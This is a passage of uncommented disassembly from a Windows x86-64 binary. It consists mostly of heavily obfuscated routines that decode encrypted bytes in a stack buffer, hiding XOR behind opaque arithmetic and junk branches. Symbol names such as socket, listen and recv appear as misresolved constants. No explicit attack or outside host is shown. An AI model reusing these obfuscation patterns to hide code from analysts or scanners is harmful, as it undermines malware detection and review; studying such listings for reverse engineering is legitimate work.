ja 0x1400c4de9
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c4c50
lea r8, [r9 + 9]
lea r9, [r8 + 5]
jmp 0x1400c4c50
lea edx, [r10 - 0x63]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x4b
add dl, r11b
jmp 0x1400c4c40
lea edx, [r10 - 0x51]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x37
add dl, r11b
jmp 0x1400c4bd0
lea edx, [r10 - 0x3f]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x47
add dl, r11b
jmp 0x1400c4b50
lea edx, [r10 + 0x2a]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x26
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c4b32
lea edx, [r10 + 0x4e]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x22
add dl, r11b
jmp 0x1400c5446
lea edx, [r10 + 0x72]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x1e
add dl, r11b
jmp 0x1400c5484
lea ecx, [r10 - 0x7c]
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
jmp 0x1400c54b6
sub r10b, 0x6a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1a
jmp 0x1400c54e1
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c4b32
lea ecx, [r10 + 0x67]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2f
cmp r9, 0x61
jb 0x1400c52f2
lea ecx, [r10 + 0x6a]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_listen
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400c53bf
lea ecx, [r10 - 0x75]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x33
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400c5320
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400c515e
lea ecx, [r10 + 0x5b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7d
cmp r8, 0x41
jae 0x1400c5301
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400c5203
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c4ebc
sub r10b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c4b32
sub r10b, 0x5c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7c
jmp 0x1400c54e1
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c54b6
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5481
sub r10b, 2
movzx eax, r10b
and al, r11b
mov ecx, 7
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c4b32
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
inc r9
dec rbx
inc rbx
jmp 0x1400c4b32
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c53bf
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400c507c
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x41
jmp 0x1400c4efa
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c50b6
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c4b32
inc rax
cmp r8, rax
jne 0x1400c50de
add r10b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2c
jmp 0x1400c54e1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5107
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
jmp 0x1400c5484
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c5134
add r10b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5481
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c4efa
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400c53bf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5184
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
inc dl
jmp 0x1400c53bf
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c51b3
add r10b, 0x25
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 3
dec rbx
inc rbx
jmp 0x1400c4b32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c51dc
sub r10b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x77
jmp 0x1400c5484
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c4f2c
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xb
jmp 0x1400c54b6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c523d
add r10b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x54
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c4b32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5264
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x1400c54b6
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c528d
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5c
jmp 0x1400c5481
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c52bc
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
dec rbx
inc rbx
jmp 0x1400c4b32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c4ebc
sub r10b, 0x72
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c4b32
mov byte [rbp + rbx + 0x130], dl
inc rbx
jmp 0x1400c4b32
lea edx, [r10 + 0x58]
movzx eax, dl
and al, r11b
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x68
add dl, cl
add dl, r11b
jmp 0x1400c5446
lea edx, [r10 + 0x46]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
add cl, cl
jmp 0x1400c54b4
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x1d
jmp 0x1400c54b6
add r10b, 0x57
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x61
jmp 0x1400c5484
lea ecx, [r10 + 0x7b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5d
jmp 0x1400c5446
sub r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x25
dec rbx
inc rbx
jmp 0x1400c4b32
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x29
sub r10b, 0x1f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x27
add r10b, r11b
mov byte [rbp + rbx + 0x130], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c4b32
lea ecx, [rbx - 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x51
inc r9
dec rbx
inc rbx
jmp 0x1400c4b32
lea ecx, [rbx - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x31
dec rbx
inc rbx
jmp 0x1400c4b32
movzx r10d, bl
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4d
sub r10b, 0x31
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x57
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x130], r10b
jmp 0x1400c5481
lea ecx, [rbx + 0x1d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x35
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c4b32
lea rcx, [rbx + r15]
and dil, cl
add dil, dil
movzx edx, r11b
sub dl, dil
add dl, 0x39
movzx r10d, bl
add dl, cl
sub r10b, 0x43
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x2b
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x130], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x6c
add cl, r11b
mov byte [rbp + rbx + 0x130], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c4b32
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub r11b, dil
lea edx, [rax + r11]
add dl, 0x3d
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c4b32
sub r10b, 0x2d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x3b
jmp 0x1400c4b30
sub r10b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x43
jmp 0x1400c4b20
mov eax, dword [rbp + 0x1412d24]
jmp 0x1400c559f
mov eax, dword [rbp + 0x12f529b]
jmp 0x1400c559f
mov eax, dword [rbp + 0x130]
cdqe
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.14005ab70
mov rcx, rax
call fcn.14005abe0
xor eax, eax
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.140196270
lea r11, [rsp + 0xb30]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rbp + 0x230], 0x66
mov byte [rbp + 0x231], 0x78
mov byte [rbp + 0x232], 0x43
mov byte [rbp + 0x233], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x234], Ordinal_79
mov byte [rbp + 0x235], Ordinal_79
mov byte [rbp + 0x236], 0xb6
mov byte [rbp + 0x237], 0x5b
mov byte [rbp + 0x238], 0x47
mov byte [rbp + 0x239], 0xb1
mov byte [rbp + 0x23a], 0x5c
mov byte [rbp + 0x23b], Ordinal_79
mov byte [rbp + 0x23c], 0x5e
mov byte [rbp + 0x23d], 0x54
mov byte [rbp + 0x23e], 0x50
mov byte [rbp + 0x23f], 0x46
mov byte [rbp + 0x240], 0xa8
mov byte [rbp + 0x241], 0x47
mov byte [rbp + 0x242], 0x57
mov byte [rbp + 0x243], 0x59
mov byte [rbp + 0x244], 0x57
mov byte [rbp + 0x245], 0x5c
mov byte [rbp + 0x246], 0x51
mov byte [rbp + 0x247], 0x51
mov byte [rbp + 0x248], 0xba
mov byte [rbp + 0x249], 0xc1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24a], xmm0
mov qword [rbp + 0x25a], rax
mov byte [rbp + 0x262], al
movzx edx, byte [rsp + 0x31]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
mov rbx, r13
cmp rbx, 0x33
jae 0x1400c6246
movzx r10d, byte [rbp + rbx + 0x230]
mov edi, r10d
nop dword [rax]
cmp r8, rbx
ja 0x1400c623a
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c5722
lea rcx, [rbx + 0x125e4]
mov rax, rcx
and rax, rdi
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, rdi
sub dl, 0x3c
jmp 0x1400c574f
je 0x1400c61c2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6135
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c60dc
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c60ba
movzx r11d, bl
cmp r9, rbx
ja 0x1400c622e
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400c5783
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c57c3
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c6076
inc rax
cmp r8, rax
je 0x1400c6054
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6039
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c6019
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c5fec
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400c5cf9
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c5cde
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400c5cb9
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c5c93
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c5d91
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c5c73
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400c5c57
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c5c3c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c5c1e
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c5bed
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400c57d0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c620e
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400c61f2
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c59bd
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c59a1
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c5984
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c5ba4
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c5b5b
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c5b1d
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c5af7
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c57d0
lea r8, [r9 + 0x64]
lea r9, [r8 + 1]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c5ac6
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c5aa8
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c5a8d
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c5a71
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c5a55
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c5a3a
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400c5a18
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c59ef
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c59dd
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c57d0
lea r8, [r9 + 0x61]
lea r9, [r8 + 8]
jmp 0x1400c57d0
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c57c3
lea edx, [r11 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1c
add dl, cl
jmp 0x1400c5753
add r11b, 0x3c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c56f0
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
sub dl, 0x60
jmp 0x1400c6083
sub r11b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c56d3
add r11b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
dec rbx
inc rbx
jmp 0x1400c56d3
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c60f5
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
jmp 0x1400c611a
sub r11b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
jmp 0x1400c611d
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c6151
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x18
add dl, r11b
jmp 0x1400c617f
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c56d3
sub r11b, 0x14
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x74
mov byte [rbp + rbx + 0x230], dl
inc rbx
jmp 0x1400c56d3
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r9, 0x28
jb 0x1400c5b0e
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400c608d
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r8, 6
jae 0x1400c5fb5
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400c5ef7
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x38
jmp 0x1400c5b33
lea edx, [r11 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xc
add dl, cl
lea rax, [r8 + r9]
cmp rax, 0x2a
je 0x1400c5fd4
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400c5e0c
lea edx, [r11 + 0x54]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4c
jmp 0x1400c5b71
add r11b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c56d3
add r11b, 0x70
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x10
add dl, r11b
jmp 0x1400c617f
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c6151
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
jmp 0x1400c611d
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c611a
sub r11b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c56d3
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
inc r9
dec rbx
inc rbx
jmp 0x1400c56d3
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c608b
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400c5d23
lea edx, [r11 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x3c
jmp 0x1400c5bb9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5d5d
add r11b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c56d3
inc rax
cmp r8, rax
jne 0x1400c5d84
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c6151
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5dab
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x30
jmp 0x1400c60f5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c5dda
add r11b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c56d3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c5bbb
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
inc r9
dec rbx
inc rbx
jmp 0x1400c56d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5e34
lea edx, [r11 + 0x1c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c608b
inc rax
cmp r8, rax
jne 0x1400c5e61
sub r11b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3c
inc r9
dec rbx
inc rbx
jmp 0x1400c56d3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5e90
sub r11b, 0x54
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c56d3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c5eb9
add r11b, 4
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1c
jmp 0x1400c611d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c5b73
add r11b, 0x5c
movzx eax, r10b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c56d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c5f31
sub r11b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c56d3
inc rax
cmp r8, rax
jne 0x1400c5f59
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
jmp 0x1400c611d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c5f86
sub r11b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c611a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c5b35
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
dec rbx
inc rbx
jmp 0x1400c56d3
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x60
add dl, cl
add dl, r10b
jmp 0x1400c60f7
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
jmp 0x1400c6151
sub r11b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x24
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c56d3
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c611d
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c60f5
add r11b, 0xc
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x54
dec rbx
inc rbx
jmp 0x1400c56d3
lea edx, [r11 + 0x7c]
movzx eax, r10b
and al, dl
sub dl, 0x64
add al, al
movzx ecx, r10b
sub cl, al
add dl, cl
sub r11b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x24
add r10b, r11b
mov byte [rbp + rbx + 0x230], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400c56d3
lea edx, [rbx + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec rbx
inc rbx
jmp 0x1400c56d3
movzx r11d, bl
lea edx, [r11 - 0x6c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xc
add dl, cl
sub r11b, 0x7c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x230], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c56d3
lea rcx, [rbx + 0x8093c]
and dil, cl
mov eax, reloc.WLDAP32.dll_Ordinal_46
sub al, dil
lea edx, [rax + rax]
add dl, r10b
movzx r11d, bl
add dl, cl
add r11b, 0x4c
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x14
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x230], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x50
add r10b, cl
mov byte [rbp + rbx + 0x230], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c56d3
lea rcx, [rbx + 0x371ac]
and dil, cl
mov eax, Ordinal_41
sub al, dil
lea edx, [rax + rax]
add dl, r10b
add dl, cl
movzx eax, byte [rbp + rbx + 0x230]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c56d3
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2c
